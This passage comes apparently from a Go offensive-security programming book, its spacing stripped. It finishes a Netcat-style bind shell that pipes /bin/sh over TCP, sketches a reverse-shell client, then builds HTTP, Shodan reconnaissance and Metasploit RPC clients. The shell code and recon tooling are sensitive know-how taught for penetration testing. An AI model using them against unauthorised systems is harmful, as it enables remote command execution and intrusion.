redirectstdin(aReader)andstdout(aWriter)toaConninstance (whichisbothaReaderandaWriter). Whenyoureceiveanewconnection,youcanusethe Command(namestring,arg...string)functionfromos/exectocreatea newCmdinstance.Thisfunctiontakesasparametersthe operatingsystemcommandandanyarguments.Inthis example,hardcode/bin/shasthecommandandpass-iasan argumentsuchthatyou’reininteractivemode,whichallows youtomanipulatestdinandstdoutmorereliably: cmd:=exec.Command("/bin/sh","-i") ThiscreatesaninstanceofCmdbutdoesn’tyetexecutethe command.Youhaveacoupleofoptionsformanipulating stdinandstdout.YoucoulduseCopy(Writer,Reader)asdiscussed previously,ordirectlyassignReaderandWritertoCmd.Let’s directlyassignyourConnobjecttobothcmd.Stdinandcmd.Stdout, likeso: cmd.Stdin=conn cmd.Stdout=conn Withthesetupofthecommandandthestreamscomplete, yourunthecommandbyusingcmd.Run(): iferr:=cmd.Run();err!=nil{ iferr:=cmd.Run();err!=nil{ //Handleerror. } ThislogicworksperfectlyfineonLinuxsystems. However,whentweakingandrunningtheprogramona Windowssystem,runningcmd.exeinsteadof/bin/bash,you’llfind thattheconnectingclientneverreceivesthecommandoutput becauseofsomeWindows-specifichandlingofanonymous pipes.Herearetwosolutionsforthisproblem. First,youcantweakthecodetoexplicitlyforcethe flushingofstdouttocorrectthisnuance.Insteadofassigning Conndirectlytocmd.Stdout,youimplementacustomWriterthat wrapsbufio.Writer(abufferedwriter)andexplicitlycallsitsFlush methodtoforcethebuffertobeflushed.Refertothe “CreatingtheEchoServer”onpage35foranexemplaryuse ofbufio.Writer. Here’sthedefinitionofthecustomwriter,Flusher: //Flusherwrapsbufio.Writer,explicitlyflushingonallwrites. typeFlusherstruct{ w*bufio.Writer } //NewFlushercreatesanewFlusherfromanio.Writer. funcNewFlusher(wio.Writer)*Flusher{ return&Flusher{ w:bufio.NewWriter(w), } } //Writewritesbytesandexplicitlyflushesbuffer. ❶func(foo*Flusher)Write(b[]byte)(int,error){ count,err:=foo.w.Write(b)❷ iferr!=nil{ return-1,err } iferr:=foo.w.Flush()❸;err!=nil{ return-1,err } returncount,err } TheFlushertypeimplementsaWrite([]byte)function❶that writes❷thedatatotheunderlyingbufferedwriterandthen flushes❸theoutput. Withtheimplementationofacustomwriter,youcantweak theconnectionhandlertoinstantiateandusethisFlushercustom typeforcmd.Stdout: funchandle(connnet.Conn){ //Explicitlycalling/bin/shandusing-iforinteractivemode //sothatwecanuseitforstdinandstdout. //ForWindowsuseexec.Command("cmd.exe"). cmd:=exec.Command("/bin/sh","-i") //Setstdintoourconnection cmd.Stdin=conn //CreateaFlusherfromtheconnectiontouseforstdout. //Thisensuresstdoutisflushedadequatelyandsentvianet.Conn. cmd.Stdout=NewFlusher(conn) //Runthecommand. iferr:=cmd.Run();err!=nil{ log.Fatalln(err) } } Thissolution,whileadequate,certainlyisn’telegant. Althoughworkingcodeismoreimportantthanelegantcode, we’llusethisproblemasanopportunitytointroducethe io.Pipe()function,Go’ssynchronous,in-memorypipethatcan beusedforconnectingReadersandWriters: funcPipe()(*PipeReader,*PipeWriter) UsingPipeReaderandPipeWriterallowsyoutoavoidhavingto explicitlyflushthewriterandsynchronouslyconnectstdout andtheTCPconnection.Youwill,yetagain,rewritethe handlerfunction: funchandle(connnet.Conn){ //Explicitlycalling/bin/shandusing-iforinteractivemode //sothatwecanuseitforstdinandstdout. //ForWindowsuseexec.Command("cmd.exe"). cmd:=exec.Command("/bin/sh","-i") //Setstdintoourconnection rp,wp:=io.Pipe()❶ cmd.Stdin=conn ❷cmd.Stdout=wp ❸goio.Copy(conn,rp) cmd.Run() conn.Close() } Thecalltoio.Pipe()❶createsbothareaderandawriterthat aresynchronouslyconnected—anydatawrittentothewriter (wpinthisexample)willbereadbythereader(rp).So,you assignthewritertocmd.Stdout❷andthenuseio.Copy(conn,rp)❸ tolinkthePipeReadertotheTCPconnection.Youdothisby usingagoroutinetopreventthecodefromblocking.Any standardoutputfromthecommandgetssenttothewriterand thensubsequentlypipedtothereaderandoutovertheTCP connection.How’sthatforelegant? Withthat,you’vesuccessfullyimplementedNetcat’s gapingsecurityholefromtheperspectiveofaTCPlistener awaitingaconnection.Youcanusesimilarlogictoimplement thefeaturefromtheperspectiveofaconnectingclient redirectingstdoutandstdinofalocalbinarytoaremote listener.Theprecisedetailsarelefttoyoutodetermine,but wouldlikelyincludethefollowing: Establishaconnectiontoaremotelistenervianet.Dial(network,addressstring). InitializeaCmdviaexec.Command(namestring,arg...string). RedirectStdinandStdoutpropertiestoutilizethenet.Connobject. Runthecommand. Atthispoint,thelistenershouldreceiveaconnection.Any datasenttotheclientshouldbeinterpretedasstdinonthe client,andanydatareceivedonthelistenershouldbe interpretedasstdout.Thefullcodeofthisexampleisavailable athttps://github.com/blackhat-go/bhg/blob/master/ch- 2/netcat-exec/main.go. SUMMARY Nowthatyou’veexploredpracticalapplicationsandusageof Goasitrelatestonetworking,I/O,andconcurrency,let’s moveontocreatingusableHTTPclients. 3 HTTPCLIENTSANDREMOTE INTERACTIONWITHTOOLS InChapter2,youlearnedhowtoharnessthepowerofTCP withvarioustechniquesforcreatingusableclientsandservers. Thisisthefirstinaseriesofchaptersthatexploresavarietyof protocolsonhigherlayersoftheOSImodel.Becauseofits prevalenceonnetworks,itsaffiliationwithrelaxedegress controls,anditsgeneralflexibility,let’sbeginwithHTTP. Thischapterfocusesontheclientside.Itwillfirst introduceyoutothebasicsofbuildingandcustomizingHTTP requestsandreceivingtheirresponses.Thenyou’lllearnhow toparsestructuredresponsedatasotheclientcaninterrogate theinformationtodetermineactionableorrelevantdata. Finally,you’lllearnhowtoapplythesefundamentalsby buildingHTTPclientsthatinteractwithavarietyofsecurity toolsandresources.Theclientsyoudevelopwillqueryand consumetheAPIsofShodan,Bing,andMetasploitandwill searchandparsedocumentmetadatainamannersimilartothe metadatasearchtoolFOCA. HTTPFUNDAMENTALSWITHGO Althoughyoudon’tneedacomprehensiveunderstandingof HTTP,youshouldknowsomefundamentalsbeforeyouget started. First,HTTPisastatelessprotocol:theserverdoesn’t inherentlymaintainstateandstatusforeachrequest.Instead, stateistrackedthroughavarietyofmeans,whichmayinclude sessionidentifiers,cookies,HTTPheaders,andmore.The clientandservershavearesponsibilitytoproperlynegotiate andvalidatethisstate. Second,communicationsbetweenclientsandserverscan occureithersynchronouslyorasynchronously,butthey operateonarequest/responsecycle.Youcanincludeseveral optionsandheadersintherequestinordertoinfluencethe behavioroftheserverandtocreateusablewebapplications. Mostcommonly,servershostfilesthatawebbrowserrenders toproduceagraphical,organized,andstylishrepresentationof thedata.Buttheendpointcanservearbitrarydatatypes.APIs commonlycommunicateviamorestructureddataencoding, suchasXML,JSON,orMSGRPC.Insomecases,thedata retrievedmaybeinbinaryformat,representinganarbitrary filetypefordownload. Finally,Gocontainsconveniencefunctionssoyoucan quicklyandeasilybuildandsendHTTPrequeststoaserver andsubsequentlyretrieveandprocesstheresponse.Through someofthemechanismsyou’velearnedinpreviouschapters, you’llfindthattheconventionsforhandlingstructureddata proveextremelyconvenientwheninteractingwithHTTP APIs. CallingHTTPAPIs CallingHTTPAPIs Let’sbegintheHTTPdiscussionbyexaminingbasicrequests. Go’snet/httpstandardpackagecontainsseveralconvenience functionstoquicklyandeasilysendPOST,GET,andHEAD requests,whicharearguablythemostcommonHTTPverbs you’lluse.Thesefunctionstakethefollowingforms: Get(urlstring)(resp*Response,errerror) Head(urlstring)(resp*Response,errerror) Post(urlstring,bodyTypestring,bodyio.Reader)(resp*Response,errerror) Eachfunctiontakes—asaparameter—theURLasastring valueandusesitfortherequest’sdestination.ThePost() functionisslightlymorecomplexthantheGet()andHead() functions.Post()takestwoadditionalparameters:bodyType, whichisastringvaluethatyouusefortheContent-Type HTTPheader(commonlyapplication/x-www-form-urlencoded)ofthe requestbody,andanio.Reader,whichyoulearnedaboutin Chapter2. Youcanseeasampleimplementationofeachofthese functionsinListing3-1.(Allthecodelistingsattheroot locationof/existundertheprovidedgithubrepo https://github.com/blackhat-go/bhg/.)NotethatthePOST requestcreatestherequestbodyfromformvaluesandsetsthe Content-Typeheader.Ineachcase,youmustclosethe responsebodyafteryou’redonereadingdatafromit. r1,err:=http.Get("http://www.google.com/robots.txt") //Readresponsebody.Notshown. deferr1.Body.Close() r2,err:=http.Head("http://www.google.com/robots.txt") //Readresponsebody.Notshown. deferr2.Body.Close() form:=url.Values{} form.Add("foo","bar") r3,err=http.Post❶( "https://www.google.com/robots.txt", ❷"application/x-www-form-urlencoded", strings.NewReader(form.Encode()❸), ) //Readresponsebody.Notshown. deferr3.Body.Close() Listing3-1:SampleimplementationsoftheGet(),Head(),andPost()functions(/ch- 3/basic/main.go) ThePOSTfunctioncall❶followsthefairlycommon patternofsettingtheContent-Typetoapplication/x-www-form- urlencoded❷,whileURL-encodingformdata❸. GohasanadditionalPOSTrequestconveniencefunction, calledPostForm(),whichremovesthetediousnessofsetting thosevaluesandmanuallyencodingeveryrequest;youcan seeitssyntaxhere: funcPostForm(urlstring,dataurl.Values)(resp*Response,errerror) IfyouwanttosubstitutethePostForm()functionforthePost() implementationinListing3-1,youusesomethinglikethebold codeinListing3-2. form:=url.Values{} form.Add("foo","bar") r3,err:=http.PostForm("https://www.google.com/robots.txt",form) //Readresponsebodyandclose. Listing3-2:UsingthePostForm()functioninsteadofPost()(/ch-3/basic/main.go) Unfortunately,noconveniencefunctionsexistforother HTTPverbs,suchasPATCH,PUT,orDELETE.You’lluse theseverbsmostlytointeractwithRESTfulAPIs,which employgeneralguidelinesonhowandwhyaservershould usethem;butnothingissetinstone,andHTTPisliketheOld Westwhenitcomestoverbs.Infact,we’veoftentoyedwith theideaofcreatinganewwebframeworkthatexclusively usesDELETEforeverything.we’dcallitDELETE.js,andit wouldbeatophitonHackerNewsforsure.Byreadingthis, you’reagreeingnottostealthisidea! GeneratingaRequest Togeneratearequestwithoneoftheseverbs,youcanusethe NewRequest()functiontocreatetheRequeststruct,whichyou’ll subsequentlysendusingtheClientfunction’sDo()method.We promisethatit’ssimplerthanitsounds.Thefunction prototypeforhttp.NewRequest()isasfollows: funcNewRequest(❶method,❷urlstring,❸bodyio.Reader)(req*Request,err error) YouneedtosupplytheHTTPverb❶anddestinationURL ❷toNewRequest()asthefirsttwostringparameters.Muchlike thefirstPOSTexampleinListing3-1,youcanoptionally supplytherequestbodybypassinginanio.Readerasthethird andfinalparameter❸. Listing3-3showsacallwithoutanHTTPbody—a DELETErequest. req,err:=http.NewRequest("DELETE","https://www.google.com/robots.txt",nil) varclienthttp.Client resp,err:=client.Do(req) //Readresponsebodyandclose. Listing3-3:SendingaDELETErequest(/ch-3/basic/main.go) Now,Listing3-4showsaPUTrequestwithanio.Reader body(aPATCHrequestlookssimilar). form:=url.Values{} form.Add("foo","bar") varclienthttp.Client req,err:=http.NewRequest( "PUT", "https://www.google.com/robots.txt", strings.NewReader(form.Encode()), ) resp,err:=client.Do(req) //Readresponsebodyandclose. Listing3-4:SendingaPUTrequest(/ch-3/basic/main.go) ThestandardGonet/httplibrarycontainsseveralfunctions thatyoucanusetomanipulatetherequestbeforeit’ssentto theserver.You’lllearnsomeofthemorerelevantand applicablevariantsasyouworkthroughpracticalexamples throughoutthischapter.Butfirst,we’llshowyouhowtodo somethingmeaningfulwiththeHTTPresponsethattheserver receives. UsingStructuredResponseParsing Intheprevioussection,youlearnedthemechanismsfor buildingandsendingHTTPrequestsinGo.Eachofthose examplesglossedoverresponsehandling,essentiallyignoring itforthetimebeing.Butinspectingvariouscomponentsofthe HTTPresponseisacrucialaspectofanyHTTP-relatedtask, likereadingtheresponsebody,accessingcookiesandheaders, orsimplyinspectingtheHTTPstatuscode. Listing3-5refinestheGETrequestinListing3-1to displaythestatuscodeandresponsebody—inthiscase, Google’srobots.txtfile.Itusestheioutil.ReadAll()functionto readdatafromtheresponsebody,doessomeerrorchecking, andprintstheHTTPstatuscodeandresponsebodytostdout. ❶resp,err:=http.Get("https://www.google.com/robots.txt") iferr!=nil{ log.Panicln(err) } //PrintHTTPStatus fmt.Println(resp.Status❷) //Readanddisplayresponsebody body,err:=ioutil.ReadAll(resp.Body❸) iferr!=nil{ log.Panicln(err) } fmt.Println(string(body)) ❹resp.Body.Close() Listing3-5:ProcessingtheHTTPresponsebody(/ch-3/basic/main.go) Onceyoureceiveyourresponse,namedresp❶intheabove code,youcanretrievethestatusstring(forexample,200OK)by accessingtheexportedStatusparameter❷;notshowninour example,thereisasimilarStatusCodeparameterthataccesses onlytheintegerportionofthestatusstring. TheResponsetypecontainsanexportedBodyparameter❸, whichisoftypeio.ReadCloser.Anio.ReadCloserisaninterfacethat actsasanio.Readeraswellasanio.Closer,oraninterfacethat requirestheimplementationofaClose()functiontoclosethe readerandperformanycleanup.Thedetailsaresomewhat inconsequential;justknowthatafterreadingthedatafroman io.ReadCloser,you’llneedtocalltheClose()function❹onthe responsebody.Usingdefertoclosetheresponsebodyisa commonpractice;thiswillensurethatthebodyisclosed beforeyoureturnit. Now,runthescripttoseetheerrorstatusandresponse body: $gorunmain.go 200OK User-agent:* Disallow:/search Allow:/search/about Disallow:/sdch Disallow:/groups Disallow:/index.html? Disallow:/? Allow:/?hl= Disallow:/?hl=*& Allow:/?hl=*&gws_rd=ssl$ Disallow:/?hl=*&*&gws_rd=ssl --snip-- Ifyouencounteraneedtoparsemorestructureddata—and it’slikelythatyouwill—youcanreadtheresponsebodyand decodeitbyusingtheconventionspresentedinChapter2.For example,imagineyou’reinteractingwithanAPIthat communicatesusingJSON,andoneendpoint—say,/ping— returnsthefollowingresponseindicatingtheserverstate: {"Message":"Allisgoodwiththeworld","Status":"Success"} YoucaninteractwiththisendpointanddecodetheJSON messagebyusingtheprograminListing3-6. packagemain import{ encoding/json" log net/http } ❶typeStatusstruct{ Messagestring Statusstring } funcmain(){ ❷res,err:=http.Post( "http://IP:PORT/ping", "application/json", nil, ) iferr!=nil{ log.Fatalln(err) } varstatusStatus ❸iferr:=json.NewDecoder(res.Body).Decode(&status);err!=nil{ log.Fatalln(err) } deferres.Body.Close() log.Printf("%s->%s\n",status.Status❹,status.Message❺) } Listing3-6:DecodingaJSONresponsebody(/ch-3/basic-parsing/main.go) ThecodebeginsbydefiningastructcalledStatus❶,which containstheexpectedelementsfromtheserverresponse.The main()functionfirstsendsthePOSTrequest❷andthen decodestheresponsebody❸.Afterdoingso,youcanquery theStatusstructasyounormallywould—byaccessingexported datatypesStatus❹andMessage❺. Thisprocessofparsingstructureddatatypesisconsistent acrossotherencodingformats,likeXMLorevenbinary representations.Youbegintheprocessbydefiningastructto representtheexpectedresponsedataandthendecodingthe dataintothatstruct.Thedetailsandactualimplementationof parsingotherformatswillbeleftuptoyoutodetermine. Thenextsectionswillapplythesefundamentalconceptsto assistyouinbuildingtoolstointeractwiththird-partyAPIsfor thepurposeofenhancingadversarialtechniquesand reconnaissance. BUILDINGANHTTPCLIENTTHAT INTERACTSWITHSHODAN Priortoperforminganyauthorizedadversarialactivities againstanorganization,anygoodattackerbeginswith reconnaissance.Typically,thisstartswithpassivetechniques thatdon’tsendpacketstothetarget;thatway,detectionofthe activityisnexttoimpossible.Attackersuseavarietyof sourcesandservices—includingsocialnetworks,public records,andsearchengines—togainpotentiallyuseful informationaboutthetarget. It’sabsolutelyincrediblehowseeminglybenign informationbecomescriticalwhenenvironmentalcontextis appliedduringachainedattackscenario.Forexample,aweb applicationthatdisclosesverboseerrormessagesmay,alone, beconsideredlowseverity.However,iftheerrormessages disclosetheenterpriseusernameformat,andifthe organizationusessingle-factorauthenticationforitsVPN, thoseerrormessagescouldincreasethelikelihoodofan internalnetworkcompromisethroughpassword-guessing attacks. Maintainingalowprofilewhilegatheringtheinformation ensuresthatthetarget’sawarenessandsecurityposture remainsneutral,increasingthelikelihoodthatyourattackwill besuccessful. Shodan(https://www.shodan.io/),self-describedas“the world’sfirstsearchengineforinternet-connecteddevices,” facilitatespassivereconnaissancebymaintainingasearchable databaseofnetworkeddevicesandservices,including metadatasuchasproductnames,versions,locale,andmore. ThinkofShodanasarepositoryofscandata,evenifitdoes much,muchmore. ReviewingtheStepsforBuildinganAPIClient Inthenextfewsections,you’llbuildanHTTPclientthat interactswiththeShodanAPI,parsingtheresultsand displayingrelevantinformation.First,you’llneedaShodan APIkey,whichyougetafteryouregisteronShodan’s website.Atthetimeofthiswriting,thefeeisfairlynominal forthelowesttier,whichoffersadequatecreditsforindividual use,sogosignupforthat.Shodanoccasionallyoffers discountedpricing,somonitoritcloselyifyouwanttosavea fewbucks. Now,getyourAPIkeyfromthesiteandsetitasan environmentvariable.Thefollowingexampleswillworkas-is onlyifyousaveyourAPIkeyasthevariableSHODAN_API_KEY. Refertoyouroperatingsystem’susermanual,orbetteryet, lookatChapter1ifyouneedhelpsettingthevariable. Beforeworkingthroughthecode,understandthatthis sectiondemonstrateshowtocreateabare-bones implementationofaclient—notafullyfeatured, comprehensiveimplementation.However,thebasic scaffoldingyou’llbuildnowwillallowyoutoeasilyextend thedemonstratedcodetoimplementotherAPIcallsasyou mayneed. TheclientyoubuildwillimplementtwoAPIcalls:oneto querysubscriptioncreditinformationandtheothertosearch forhoststhatcontainacertainstring.Youusethelattercall foridentifyinghosts;forexample,portsoroperatingsystems matchingacertainproduct. Luckily,theShodanAPIisstraightforward,producing nicelystructuredJSONresponses.Thismakesitagood startingpointforlearningAPIinteraction.Hereisahigh-level overviewofthetypicalstepsforpreparingandbuildingan APIclient: 1. Reviewtheservice’sAPIdocumentation. 2. Designalogicalstructureforthecodeinordertoreducecomplexityand repetition. 3. Definerequestorresponsetypes,asnecessary,inGo. 4. Createhelperfunctionsandtypestofacilitatesimpleinitialization, authentication,andcommunicationtoreduceverboseorrepetitivelogic. 5. BuildtheclientthatinteractswiththeAPIconsumerfunctionsandtypes. Wewon’texplicitlycallouteachstepinthissection,but youshouldusethislistasamaptoguideyourdevelopment. StartbyquicklyreviewingtheAPIdocumentationon Shodan’swebsite.Thedocumentationisminimalbutproduces everythingneededtocreateaclientprogram. DesigningtheProjectStructure WhenbuildinganAPIclient,youshouldstructureitsothat thefunctioncallsandlogicstandalone.Thisallowsyouto reusetheimplementationasalibraryinotherprojects.That way,youwon’thavetoreinventthewheelinthefuture. Buildingforreusabilityslightlychangesaproject’sstructure. FortheShodanexample,here’stheprojectstructure: $treegithub.com/blackhat-go/bhg/ch-3/shodan github.com/blackhat-go/bhg/ch-3/shodan |---cmd ||---shodan ||---main.go |---shodan |---api.go |---host.go |---shodan.go Themain.gofiledefinespackagemainandisusedprimarilyas aconsumeroftheAPIyou’llbuild;inthiscase,youuseit primarilytointeractwithyourclientimplementation. Thefilesintheshodandirectory—api.go,host.go,and shodan.go—definepackageshodan,whichcontainsthetypesand functionsnecessaryforcommunicationtoandfromShodan. Thispackagewillbecomeyourstand-alonelibrarythatyou canimportintovariousprojects. CleaningUpAPICalls WhenyouperusedtheShodanAPIdocumentation,youmay havenoticedthateveryexposedfunctionrequiresyoutosend yourAPIkey.Althoughyoucertainlycanpassthatvalue aroundtoeachconsumerfunctionyoucreate,thatrepetitive taskbecomestedious.Thesamecanbesaidforeither hardcodingorhandlingthebaseURL(https://api.shodan.io/). Forexample,definingyourAPIfunctions,asinthefollowing snippet,requiresyoutopassinthetokenandURLtoeach function,whichisn’tveryelegant: funcAPIInfo(token,urlstring){--snip--} funcHostSearch(token,urlstring){--snip--} Instead,optforamoreidiomaticsolutionthatallowsyou tosavekeystrokeswhilearguablymakingyourcodemore readable.Todothis,createashodan.gofileandenterthecode inListing3-7. packageshodan ❶constBaseURL="https://api.shodan.io" ❷typeClientstruct{ apiKeystring } ❸funcNew(apiKeystring)*Client{ return&Client{apiKey:apiKey} } Listing3-7:ShodanClientdefinition(/ch-3/shodan/shodan/shodan.go) TheShodanURLisdefinedasaconstantvalue❶;that way,youcaneasilyaccessandreuseitwithinyour implementingfunctions.IfShodaneverchangestheURLof itsAPI,you’llhavetomakethechangeatonlythisone locationinordertocorrectyourentirecodebase.Next,you defineaClientstruct,usedformaintainingyourAPItoken acrossrequests❷.Finally,thecodedefinesaNew()helper function,takingtheAPItokenasinputandcreatingand returninganinitializedClientinstance❸.Now,ratherthan creatingyourAPIcodeasarbitraryfunctions,youcreatethem asmethodsontheClientstruct,whichallowsyoutointerrogate theinstancedirectlyratherthanrelyingonoverlyverbose functionparameters.YoucanchangeyourAPIfunctioncalls, whichwe’lldiscussmomentarily,tothefollowing: func(s*Client)APIInfo(){--snip--} func(s*Client)HostSearch(){--snip--} SincethesearemethodsontheClientstruct,youcanretrieve theAPIkeythroughs.apiKeyandretrievetheURLthrough BaseURL.Theonlyprerequisitetocallingthemethodsisthat youcreateaninstanceoftheClientstructfirst.Youcandothis withtheNew()helperfunctioninshodan.go. QueryingYourShodanSubscription Nowyou’llstarttheinteractionwithShodan.PertheShodan APIdocumentation,thecalltoqueryyoursubscriptionplan informationisasfollows: https://api.shodan.io/api-info?key={YOUR_API_KEY} Theresponsereturnedresemblesthefollowingstructure. Obviously,thevalueswilldifferbasedonyourplandetails andremainingsubscriptioncredits. { "query_credits":56, "scan_credits":0, "telnet":true, "plan":"edu", "https":true, "unlocked":true, } First,inapi.go,you’llneedtodefineatypethatcanbe usedtounmarshaltheJSONresponsetoaGostruct.Without it,youwon’tbeabletoprocessorinterrogatetheresponse body.Inthisexample,namethetypeAPIInfo: typeAPIInfostruct{ QueryCreditsint`json:"query_credits"` ScanCreditsint`json:"scan_credits"` Telnetbool`json:"telnet"` Planstring`json:"plan"` HTTPSbool`json:"https"` Unlockedbool`json:"unlocked"` } TheawesomenessthatisGomakesthatstructureand JSONalignmentajoy.AsshowninChapter1,youcanuse somegreattoolingto“automagically”parseJSON— populatingthefieldsforyou.Foreachexportedtypeonthe struct,youexplicitlydefinetheJSONelementnamewith structtagssoyoucanensurethatdataismappedandparsed properly. NextyouneedtoimplementthefunctioninListing3-8, whichmakesanHTTPGETrequesttoShodananddecodes theresponseintoyourAPIInfostruct: func(s*Client)APIInfo()(*APIInfo,error){ res,err:=http.Get(fmt.Sprintf("%s/api-info?key=%s",BaseURL,s.apiKey))❶ iferr!=nil{ returnnil,err } deferres.Body.Close() varretAPIInfo iferr:=json.NewDecoder(res.Body).Decode(&ret)❷;err!=nil{ returnnil,err } return&ret,nil } Listing3-8:MakinganHTTPGETrequestanddecodingtheresponse(/ch- 3/shodan/shodan/api.go) Theimplementationisshortandsweet.Youfirstissuean HTTPGETrequesttothe/api-inforesource❶.ThefullURLis builtusingtheBaseURLglobalconstantands.apiKey.Youthen decodetheresponseintoyourAPIInfostruct❷andreturnitto thecaller. Beforewritingcodethatutilizesthisshinynewlogic,build outasecond,moreusefulAPIcall—thehostsearch—which you’lladdtohost.go.Therequestandresponse,accordingto theAPIdocumentation,isasfollows: https://api.shodan.io/shodan/host/search?key={YOUR_API_KEY}&query= {query}&facets={facets} { "matches":[ { "os":null, "timestamp":"2014-01-15T05:49:56.283713", "isp":"Vivacom", "asn":"AS8866", "hostnames":[], "location":{ "city":null, "region_code":null, "area_code":null, "longitude":25, "country_code3":"BGR", "country_name":"Bulgaria", "postal_code":null, "dma_code":null, "country_code":"BG", "latitude":43 }, "ip":3579573318, "domains":[], "org":"Vivacom", "data":"@PJLINFOSTATUSCODE=35078DISPLAY="PowerSaver" ONLINE=TRUE", "port":9100, "ip_str":"213.91.244.70" }, --snip-- ], "facets":{ "org":[ { "count":286, "value":"KoreaTelecom" }, --snip-- ] }, "total":12039 } ComparedtotheinitialAPIcallyouimplemented,thisone issignificantlymorecomplex.Notonlydoestherequesttake multipleparameters,buttheJSONresponsecontainsnested dataandarrays.Forthefollowingimplementation,you’ll ignorethefacetsoptionanddata,andinsteadfocuson performingastring-basedhostsearchtoprocessonlythe matcheselementoftheresponse. Asyoudidbefore,startbybuildingtheGostructsto handletheresponsedata;enterthetypesinListing3-9into yourhost.gofile. typeHostLocationstruct{ Citystring`json:"city"` RegionCodestring`json:"region_code"` AreaCodeint`json:"area_code"` Longitudefloat32`json:"longitude"` CountryCode3string`json:"country_code3"` CountryNamestring`json:"country_name"` PostalCodestring`json:"postal_code"` DMACodeint`json:"dma_code"` CountryCodestring`json:"country_code"` Latitudefloat32`json:"latitude"` } typeHoststruct{ OSstring`json:"os"` Timestampstring`json:"timestamp"` ISPstring`json:"isp"` ASNstring`json:"asn"` Hostnames[]string`json:"hostnames"` LocationHostLocation`json:"location"` IPint64`json:"ip"` Domains[]string`json:"domains"` Orgstring`json:"org"` Datastring`json:"data"` Portint`json:"port"` IPStringstring`json:"ip_str"` } typeHostSearchstruct{ Matches[]Host`json:"matches"` } Listing3-9:Hostsearchresponsedatatypes(/ch-3/shodan/shodan/host.go) Thecodedefinesthreetypes: HostSearchUsedforparsingthematchesarray HostRepresentsasinglematcheselement HostLocationRepresentsthelocationelementwithinthehost Noticethatthetypesmaynotdefineallresponsefields.Go handlesthiselegantly,allowingyoutodefinestructureswith onlytheJSONfieldsyoucareabout.Therefore,ourcodewill parsetheJSONjustfine,whilereducingthelengthofyour codebyincludingonlythefieldsthataremostrelevanttothe example.Toinitializeandpopulatethestruct,you’lldefinethe functioninListing3-10,whichissimilartotheAPIInfo() methodyoucreatedinListing3-8. func(s*Client)HostSearch(qstring❶)(*HostSearch,error){ res,err:=http.Get(❷ fmt.Sprintf("%s/shodan/host/search?key=%s&query=%s",BaseURL, s.apiKey,q), ) iferr!=nil{ returnnil,err } deferres.Body.Close() varretHostSearch iferr:=json.NewDecoder(res.Body).Decode(&ret)❸;err!=nil{ returnnil,err } return&ret,nil } Listing3-10:Decodingthehostsearchresponsebody(/ch- 3/shodan/shodan/host.go) TheflowandlogicisexactlyliketheAPIInfo()method, exceptthatyoutakethesearchquerystringasaparameter❶, issuethecalltothe/shodan/host/searchendpointwhilepassingthe searchterm❷,anddecodetheresponseintotheHostSearch struct❸. Yourepeatthisprocessofstructuredefinitionandfunction implementationforeachAPIserviceyouwanttointeractwith. Ratherthanwastingpreciouspageshere,we’lljumpahead andshowyouthelaststepoftheprocess:creatingtheclient thatusesyourAPIcode. CreatingaClient You’lluseaminimalisticapproachtocreateyourclient:takea searchtermasacommandlineargumentandthencallthe APIInfo()andHostSearch()methods,asinListing3-11. funcmain(){ iflen(os.Args)!=2{ log.Fatalln("Usage:shodansearchterm") } apiKey:=os.Getenv("SHODAN_API_KEY")❶ s:=shodan.New(apiKey)❷ info,err:=s.APIInfo()❸ iferr!=nil{ log.Panicln(err) } fmt.Printf( "QueryCredits:%d\nScanCredits:%d\n\n", info.QueryCredits, info.ScanCredits) hostSearch,err:=s.HostSearch(os.Args[1])❹ iferr!=nil{ log.Panicln(err) } ❺for_,host:=rangehostSearch.Matches{ fmt.Printf("%18s%8d\n",host.IPString,host.Port) } } Listing3-11:Consumingandusingtheshodanpackage(/ch- 3/shodan/cmd/shodan/main.go) StartbyreadingyourAPIkeyfromtheSHODAN_API_KEY environmentvariable❶.Thenusethatvaluetoinitializea newClientstruct❷,s,subsequentlyusingittocallyourAPIInfo() method❸.CalltheHostSearch()method,passinginasearch stringcapturedasacommandlineargument❹.Finally,loop throughtheresultstodisplaytheIPandportvaluesforthose servicesmatchingthequerystring❺.Thefollowingoutput showsasamplerun,searchingforthestringtomcat: $SHODAN_API_KEY=YOUR-KEYgorunmain.gotomcat QueryCredits:100 ScanCredits:100 185.23.138.1418081 218.103.124.2398080 123.59.14.1698081 177.6.80.2138181 142.165.84.16010000 --snip-- You’llwanttoadderrorhandlinganddatavalidationto thisproject,butitservesasagoodexampleforfetchingand displayingShodandatawithyournewAPI.Younowhavea workingcodebasethatcanbeeasilyextendedtosupportand testtheotherShodanfunctions. INTERACTINGWITHMETASPLOIT Metasploitisaframeworkusedtoperformavarietyof adversarialtechniques,includingreconnaissance,exploitation, commandandcontrol,persistence,lateralnetworkmovement, payloadcreationanddelivery,privilegeescalation,andmore. Evenbetter,thecommunityversionoftheproductisfree,runs onLinuxandmacOS,andisactivelymaintained.Essentialfor anyadversarialengagement,Metasploitisafundamentaltool usedbypenetrationtesters,anditexposesaremoteprocedure call(RPC)APItoallowremoteinteractionwithits functionality. Inthissection,you’llbuildaclientthatinteractswitha remoteMetasploitinstance.MuchliketheShodancodeyou built,theMetasploitclientyoudevelopwon’tcovera comprehensiveimplementationofallavailablefunctionality. Rather,itwillbethefoundationuponwhichyoucanextend additionalfunctionalityasneeded.Wethinkyou’llfindthe implementationmorecomplexthantheShodanexample, makingtheMetasploitinteractionamorechallenging progression. SettingUpYourEnvironment Beforeyouproceedwiththissection,downloadandinstallthe Metasploitcommunityeditionifyoudon’talreadyhaveit. StarttheMetasploitconsoleaswellastheRPClistener throughthemsgrpcmoduleinMetasploit.Thensettheserver host—theIPonwhichtheRPCserverwilllisten—anda password,asshowninListing3-12. $msfconsole msf>loadmsgrpcPass=s3cr3tServerHost=10.0.1.6 [*]MSGRPCService:10.0.1.6:55552 [*]MSGRPCUsername:msf [*]MSGRPCPassword:s3cr3t [*]Successfullyloadedplugin:msgrpc Listing3-12:StartingMetasploitandthemsgrpcserver Tomakethecodemoreportableandavoidhardcoding values,setthefollowingenvironmentvariablestothevalues youdefinedforyourRPCinstance.Thisissimilartowhatyou didfortheShodanAPIkeyusedtointeractwithShodanin “CreatingaClient”onpage58. $exportMSFHOST=10.0.1.6:55552 $exportMSFPASS=s3cr3t YoushouldnowhaveMetasploitandtheRPCserver running. BecausethedetailsonexploitationandMetasploituseare beyondthescopeofthisbook, let’sassumethatthroughpure cunningandtrickeryyou’vealreadycompromisedaremote Windowssystemandyou’veleveragedMetasploit’s Meterpreterpayloadforadvancedpost-exploitationactivities. Here,youreffortswillinsteadfocusonhowyoucanremotely communicatewithMetasploittolistandinteractwith establishedMeterpretersessions.Aswementionedbefore,this 